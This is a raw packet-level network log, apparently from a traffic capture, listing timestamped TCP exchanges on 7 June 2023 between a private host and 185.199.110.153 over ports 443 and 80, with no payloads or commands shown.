Jun 7, 2023 17:08:48.655560970 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655560970 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655560970 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655560970 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655560970 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655560970 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655561924 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655595064 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655595064 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655595064 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655595064 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655595064 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655755043 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655755043 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655755043 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655755043 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655755043 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655755043 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655755043 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655755043 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655782938 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.655944109 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655944109 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655944109 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655958891 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.655991077 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656188011 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656188011 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656188011 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656188011 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656188011 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656188011 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656188011 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656188011 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656208038 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.656378031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656378031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656378031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656378031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656378031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656378031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656398058 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.656424046 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656618118 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656618118 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656618118 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656618118 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656810999 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656810999 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656810999 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656810999 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656810999 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656827927 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.656858921 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656858921 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656858921 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656858921 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656858921 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.656878948 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.656905890 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657099009 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657147884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657147884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657147884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657147884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657342911 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657342911 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657342911 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657342911 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657342911 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657342911 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657361984 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.657387972 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657438040 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657444954 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.657632113 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657632113 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657632113 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657632113 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657632113 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657632113 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657632113 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657632113 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657665968 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657665968 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657665968 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657665968 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657665968 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657690048 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657690048 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657881975 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657881975 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657882929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.657979012 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.658077955 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.658082962 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.658174992 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.658184052 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.658368111 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.658560038 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.658560038 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.658848047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.658848047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659040928 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659044027 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.659234047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659234047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659234047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659234047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659234047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659234047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659234047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659234047 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659244061 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.659259081 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659259081 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659326077 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659327030 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659327030 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659327030 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659327030 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659540892 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659540892 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659540892 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659540892 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659550905 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.659694910 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659694910 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659694910 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659696102 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659696102 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659696102 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659696102 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659708977 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.659727097 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659727097 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659727097 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659727097 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659919024 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659919024 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659919024 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659919024 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.659919024 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660110950 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660115004 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.660159111 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660164118 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.660208941 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660209894 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660209894 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660209894 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660209894 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660485983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660485983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660485983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660486937 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660486937 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660486937 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660486937 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660486937 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660507917 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660507917 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660667896 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660667896 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660667896 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660667896 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660667896 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660669088 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660669088 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660690069 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.660691977 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.660707951 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660707951 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660707951 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.660824060 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661011934 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661011934 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661011934 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661011934 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661011934 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661011934 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661011934 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661011934 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661030054 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661030054 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661030054 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661030054 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661030054 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661030054 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661030054 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661204100 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661204100 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661204100 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661204100 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661204100 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661204100 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661204100 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661204100 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661222935 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661222935 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661222935 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661292076 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661292076 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661292076 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661292076 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661292076 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661299944 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.661302090 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.661375999 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661375999 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661375999 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661580086 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661580086 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661580086 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661580086 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661580086 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661580086 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661580086 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661580086 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661595106 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661595106 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661627054 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661627054 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661676884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661676884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661676884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661725998 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661729097 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.661730051 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.661775112 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661775112 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.661775112 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662017107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662017107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662017107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662017107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662017107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662017107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662017107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662017107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662031889 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662031889 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662031889 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662031889 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662031889 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662031889 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662208080 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662208080 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662209034 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662209034 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662209034 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662209034 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662400961 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662400961 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662400961 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662400961 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662400961 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662400961 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662400961 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662400961 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662414074 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662414074 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662448883 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662448883 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662448883 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662691116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662691116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662691116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662691116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662691116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662691116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662691116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662691116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662704945 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662704945 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662704945 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662704945 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662704945 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662704945 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662786961 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662837982 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.662837982 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.663027048 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.663027048 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.663027048 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.663120985 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.663136959 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:49.916378021 CEST	49824	80	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.927062988 CEST	80	49824	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:49.927372932 CEST	49824	80	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.927521944 CEST	49824	80	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.938077927 CEST	80	49824	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:49.942893982 CEST	80	49824	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:49.943128109 CEST	49824	80	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.943641901 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.943728924 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:49.944050074 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.944210052 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.944252968 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:49.977823019 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:49.978044033 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.978409052 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.978698969 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:49.978744984 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.002166986 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.002531052 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.002602100 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.002813101 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.002836943 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.002888918 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.002994061 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.003076077 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.003113985 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.003303051 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.003346920 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.003528118 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.003544092 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.003596067 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.003704071 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.003779888 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.003817081 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.003972054 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.003973007 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.004033089 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.004134893 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.004192114 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.004256964 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.004519939 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.004576921 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.004759073 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.005270004 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.005290031 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.005367041 CEST	443	49825	185.199.110.153	192.168.11.20
